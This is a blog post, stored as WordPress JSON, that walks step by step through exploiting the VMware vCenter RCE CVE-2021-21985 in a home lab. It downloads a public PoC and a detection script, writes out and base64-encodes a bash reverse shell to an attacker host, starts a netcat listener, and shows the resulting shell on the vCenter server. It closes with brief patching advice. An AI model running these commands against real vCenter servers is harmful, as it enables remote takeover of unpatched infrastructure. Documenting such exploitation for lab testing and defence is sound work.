{"id":1122,"date":"2021-06-07T18:55:48","date_gmt":"2021-06-07T10:55:48","guid":{"rendered":"\/?p=1122"},"modified":"2021-06-07T18:55:48","modified_gmt":"2021-06-07T10:55:48","slug":"vmware-vcenter-server-remote-code-execution-cve-2021-21985-poc","status":"publish","type":"post","link":"https:\/\/www.insecurewi.re\/index.php\/2021\/06\/07\/vmware-vcenter-server-remote-code-execution-cve-2021-21985-poc\/","title":{"rendered":"VMware VCenter Server Remote Code Execution CVE-2021-21985 PoC"},"content":{"rendered":"<p>VMware first announced on the 25th of May a remote code execution vulnerability in VCenter server&#8217;s VSAN health plugin. The bug affects all versions from 6.5 onwards to 7.0. It has a CVE score of 9.8, it&#8217;s an understatement to call this one a whopper! Early this week the PoC&#8217;s started to be released on Twitter and then Github, along with media exposure and the standard bulk scanning for open VCenter hosts directly connect to the Internet.<br \/>\nI tried a few of the public exploits in my lab and the one that worked reliably was released by <a href=\"https:\/\/github.com\/testanull\/Project_CVE-2021-21985_PoC\" rel=\"noopener\" target=\"_blank\">testanull<\/a> on Github.<\/p>\n<p>Here are the steps I followed to test out the PoC exploit:<\/p>\n<p><strong>Prerequisites<\/strong><br \/>\nI used VMware Workstation in my lab environment. Setup a nested ESXi 7.x host and then deploy VCSA on it. I used VCSA 7.0.0-15952498. Follow the wizard and wait for the VCSA to fully load all services, be sure you can login to the HTML 5 web client.<\/p>\n<p><strong>NMAP Script<\/strong><br \/>\nLets use nmap to check if the target VCenter we just setup is vulnerable to CVE-2021-21985:<br \/>\n1. Download the nse script from github <a href=\"https:\/\/raw.githubusercontent.com\/alt3kx\/CVE-2021-21985_PoC\/main\/CVE-2021-21985.nse\" rel=\"noopener\" target=\"_blank\">here<\/a>.<br \/>\n2. Move the nse script to correct directory for your nmap install (I am using Ubuntu server):<br \/>\n<code>sudo cp CVE-2021-21985.nse \/usr\/share\/nmap\/scripts\/<\/code><br \/>\n3. Run the nmap script against the target:<br \/>\n<code>administrator@tabernacle:~\/poc$ sudo nmap -p443 --script CVE-2021-21985.nse 192.168.100.50<br \/>\nStarting Nmap 7.80 ( https:\/\/nmap.org ) at 2021-06-07 11:32 UTC<br \/>\nNmap scan report for 192.168.100.50<br \/>\nHost is up (0.00068s latency).<br \/>\nPORT    STATE SERVICE<br \/>\n443\/tcp open  https<br \/>\n| CVE-2021-21985:<br \/>\n|   VULNERABLE:<br \/>\n|   vCenter 6.5-7.0 RCE<br \/>\n|     State: VULNERABLE (Exploitable)<br \/>\n|     IDs:  CVE:CVE-2021-21985<br \/>\n|       The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input<br \/>\n|       validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.<br \/>\n|     Disclosure date: 2021-05-28<br \/>\n|     References:<br \/>\n|_      https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-21985<br \/>\nMAC Address: 00:0C:29:F1:09:98 (VMware)<br \/>\nNmap done: 1 IP address (1 host up) scanned in 0.50 seconds<\/code><\/p>\n<p><strong>Exploit Method<\/strong><br \/>\n1. Setup the attacker machine, can be Windows, Linux, does not matter. I used an Ubuntu VM, make sure python3 is installed.<br \/>\n2. Download the poc with wget:<br \/>\n<code>wget https:\/\/raw.githubusercontent.com\/testanull\/Project_CVE-2021-21985_PoC\/main\/PoC_1.py<\/code><br \/>\n3. Now you must edit the script with your bash reverse shell string in base64. An example of the string is as follows:<br \/>\n<code>bash -i >& \/dev\/tcp\/192.168.1.12\/4444 0>&1<\/code><br \/>\nNow use <a href=\"https:\/\/www.base64encode.org\/\" rel=\"noopener\" target=\"_blank\">base64encode.org<\/a> to convert the string. Here is the base64 output of the above string:<br \/>\n<code>YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIvNDQ0NCAwPiYx<\/string><\/code><br \/>\nEdit the script in nano and paste your base64 reverse shell string into the cmd variable:<br \/>\n<code>cmd = \"\"\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIvNDQ0NCAwPiYx}<\/code><br \/>\nSave the changes.<br \/>\n4. OK, so now we have updated the exploit cmd variable with your reverse shell string. Open two terminal windows are open.<br \/>\nIn the first window setup the netcat command for the reverse shell:<br \/>\n<code>nc -lnvp 4444<\/code><br \/>\nIn the second window, you can invoke the exploit now against the target VCenter:<br \/>\n<code>administrator@tabernacle:~\/poc$ python3 PoC_3.py https:\/\/192.168.100.50<\/code><br \/>\n5. If all went well you will see the output of the script and the shell on the netcat window:<br \/>\n<code>Target: https:\/\/192.168.100.50<br \/>\nCmd: bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTIvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}<br \/>\nWriting file<br \/>\nSetting cmd<br \/>\nFinal stage ...<\/code><br \/>\n6. Profit:<br \/>\n<code>administrator@tabernacle:~\/poc$ nc -lnvp 4444<br \/>\nListening on 0.0.0.0 4444<br \/>\nConnection received on 192.168.100.50 60860<br \/>\nbash: cannot set terminal process group (2035): Inappropriate ioctl for device<br \/>\nbash: no job control in this shell<br \/>\nvsphere-ui [ \/usr\/lib\/vmware-vsphere-ui\/server ]$whoami<br \/>\nwhoami<br \/>\nvsphere-ui<\/code><br \/>\n<a href=\"\/wp-content\/uploads\/2021\/06\/VMware-RCE.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.insecurewi.re\/wp-content\/themes\/breek\/assets\/images\/transparent.gif\" data-lazy=\"true\" data-src=\"\/wp-content\/uploads\/2021\/06\/VMware-RCE.png\" alt=\"VMware-RCE\" width=\"2904\" height=\"289\" class=\"aligncenter size-full wp-image-1123\" data-srcset=\"https:\/\/www.insecurewi.re\/wp-content\/uploads\/2021\/06\/VMware-RCE.png 2904w, https:\/\/www.insecurewi.re\/wp-content\/uploads\/2021\/06\/VMware-RCE-300x30.png 300w, https:\/\/www.insecurewi.re\/wp-content\/uploads\/2021\/06\/VMware-RCE-1024x102.png 1024w, https:\/\/www.insecurewi.re\/wp-content\/uploads\/2021\/06\/VMware-RCE-768x76.png 768w, https:\/\/www.insecurewi.re\/wp-content\/uploads\/2021\/06\/VMware-RCE-1536x153.png 1536w, https:\/\/www.insecurewi.re\/wp-content\/uploads\/2021\/06\/VMware-RCE-2048x204.png 2048w, https:\/\/www.insecurewi.re\/wp-content\/uploads\/2021\/06\/VMware-RCE-100x10.png 100w, https:\/\/www.insecurewi.re\/wp-content\/uploads\/2021\/06\/VMware-RCE-700x70.png 700w, https:\/\/www.insecurewi.re\/wp-content\/uploads\/2021\/06\/VMware-RCE-1600x159.png 1600w\" data-sizes=\"auto, (max-width: 2904px) 100vw, 2904px\" \/><\/a><\/p>\n<p>How do I protect myself from this vulnerability?<br \/>\n1. Obviously no VCenter server should ever be directly accessible from the Internet.<br \/>\n2. <a href=\"https:\/\/www.vmware.com\/security\/advisories\/VMSA-2021-0010.html\" rel=\"noopener\" target=\"_blank\">Patch the VCenter server<\/a> from the administration panel, its simple and takes an hour or so. VMware have fixed the live update process in recent releases (6.7, 7.x)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>VMware first announced on the 25th of May a remote code execution vulnerability in VCenter server&#8217;s VSAN health plugin. The bug affects all versions from&#8230;<\/p>\n","protected":false},"author":2,"featured_media":1123,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,2,17],"tags":[80,156,192,198],"class_list":["post-1122","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-attack","category-datacentre","category-vmware","tag-cve-2021-21985","tag-rce","tag-vcenter","tag-vmware"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>VMware VCenter Server Remote Code Execution CVE-2021-21985 PoC - Insecure Wire<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.insecurewi.re\/index.php\/2021\/06\/07\/vmware-vcenter-server-remote-code-execution-cve-2021-21985-poc\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"VMware VCenter Server Remote Code Execution CVE-2021-21985 PoC - Insecure Wire\" \/>\n<meta property=\"og:description\" content=\"VMware first announced on the 25th of May a remote code execution vulnerability in VCenter server&#8217;s VSAN health plugin. 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